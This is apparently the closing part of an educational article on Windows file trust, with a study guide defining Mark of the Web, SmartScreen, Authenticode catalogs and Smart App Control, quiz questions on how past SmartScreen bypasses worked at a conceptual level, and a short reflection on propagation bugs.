<StudyGuide slug="mark-of-the-web-smartscreen-and-the-catalog-of-trust" keyTerms={[ { term: "Mark of the Web (MOTW)", definition: "Metadata recording the origin of a file Windows did not produce itself; lives as the NTFS Zone.Identifier alternate data stream containing an INI-style [ZoneTransfer] block." }, { term: "NTFS Alternate Data Stream (ADS)", definition: "An NTFS feature that lets a file carry multiple named secondary data streams. Addressed as filename:streamname:type. Survives Windows Explorer copies on NTFS but is lost on FAT/exFAT." }, { term: "URLZONE", definition: "Five-value enumeration from IE4 (1997): 0 Local Machine, 1 Intranet, 2 Trusted, 3 Internet, 4 Untrusted. Every later Windows trust signal resolves a file to one of these integers." }, { term: "Attachment Execution Service", definition: "XP SP2 OS service that intercepts file launches from registered trust-aware callers and applies per-zone policy via the Shell COM IAttachmentExecute interface." }, { term: "SmartScreen Application Reputation", definition: "Cloud-backed file-and-publisher reputation oracle that shipped with IE9 (2010) and integrated into the Windows Shell with Windows 8 (2012). Two-stage UX: modal block, then 'More info -> Run anyway'." }, { term: "Authenticode catalog file (.cat)", definition: "PKCS#7 SignedData container holding a list of file hashes plus per-member attributes. A single signature vouches for all members. Lives under %SystemRoot%\\System32\\CatRoot, managed by cryptsvc." }, { term: "Smart App Control (SAC)", definition: "Windows 11 22H2+ execution-control feature. Structurally a WDAC AllowAll policy minus an ISG-driven blocklist. Clean-install-only; runs in Off, Evaluation, or Enforcement mode." }, { term: "Intelligent Security Graph (ISG)", definition: "Microsoft's cloud-side reputation backend. Consumed by SmartScreen, by WDAC via policy rule option 14, and by Smart App Control. 24-hour cloud refresh cadence. Positive verdicts cached as the $KERNEL.SMARTLOCKER.ORIGINCLAIM EA." }, { term: "Notarization (macOS)", definition: "Apple's mandatory server-side malware scan for non-App-Store distribution on macOS Catalina (2019) and later. Produces a stapleable ticket that lets Gatekeeper run fail-closed by default." } ]} questions={[ { q: "Why was the 1999 HTML-comment form of MOTW abandoned?", a: "It was in-band (any text processor could strip it), format-specific (only worked for HTML, but executables and archives were the dominant attack vector by 2002), and consumer-specific (only IE knew to look for it). The XP SP2 NTFS-ADS move solved all three." }, { q: "What is the propagation contract for MOTW?", a: "Every code path that copies, extracts, mounts, or saves a marked file must re-write the Zone.Identifier stream onto the destination. Bypasses in 2022-2024 (ISO mount, ZIP extraction, shortcut chains, LNK canonicalisation) are propagator failures." }, { q: "How does WinVerifyTrust handle a file with no embedded Authenticode signature?", a: "It falls through to a catalog lookup: hash the file with CryptCATAdminCalcHashFromFileHandle, enumerate catalogs with CryptCATAdminEnumCatalogFromHash, and if a match is found, re-verify the catalog's PKCS#7 signature. This is how in-box Windows binaries like cmd.exe verify as Microsoft-signed." }, { q: "What is the structural difference between CVE-2022-44698 and CVE-2023-36025?", a: "CVE-2022-44698 was a parser fail-open in the SmartScreen lookup (malformed Authenticode crashed the parser; the caller treated the error as no-warning-needed). CVE-2023-36025 was a different class: the .url handler chose not to invoke SmartScreen at all for certain target types, even though MOTW was present." }, { q: "Why does Smart App Control silently disable itself on some devices?", a: "If telemetry indicates the user runs many unrecognized apps in Evaluation mode, SAC switches off rather than auto-promoting to Enforcement, on the rationale that an Enforcement gate would create more friction than the user would tolerate. Microsoft documents the behaviour but not the threshold." } ]} />

The catalog of trust is not finished. As long as Windows ships propagators -- and any general-purpose OS will -- there will be propagator bugs, and the bypass class will continue to be data-flow-ordering, parser fail-open, and canonicalisation. The interesting question is not whether a new bypass will land. It will. The interesting question is whether Microsoft can move from per-CVE patching to enforcing the three-layer contract structurally, so the bypass class shrinks rather than rotates. Smart App Control Enforcement is one bet on how to do that. The propagation hardening of 2022-2024 is another. The next decade of Windows file trust is whether either of them finishes the work the 2004 Attachment Execution Service started: deciding, with confidence, whether it is safe to run this file.